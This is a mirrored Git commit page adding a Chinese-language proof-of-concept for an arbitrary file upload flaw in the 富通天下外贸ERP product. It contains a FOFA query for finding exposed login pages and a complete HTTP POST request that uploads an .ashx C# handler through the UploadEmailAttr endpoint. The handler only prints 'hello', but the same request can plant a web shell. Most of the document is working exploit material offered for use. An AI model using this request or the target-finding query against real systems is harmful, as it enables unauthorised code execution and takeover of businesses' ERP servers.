admin/wy876_POC
1
0
Fork 0
mirror of https://github.com/wy876/POC.git synced 2025-02-27 04:39:25 +00:00
Code Issues Packages Projects Releases Wiki Activity

Create 富通天下外贸ERP任意文件上传漏洞.md

Browse Source
This commit is contained in:
wy876 2024-04-17 20:04:08 +08:00 committed by GitHub
parent 1f03943f1f
commit 47dec303b7
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 27 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

27
富通天下外贸ERP任意文件上传漏洞.md Normal file
View File

@ -0,0 +1,27 @@
## 富通天下外贸ERP任意文件上传漏洞
## fofa
```
title="用户登录_富通天下外贸ERP"
```
## poc
```
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("hello");
}
}
```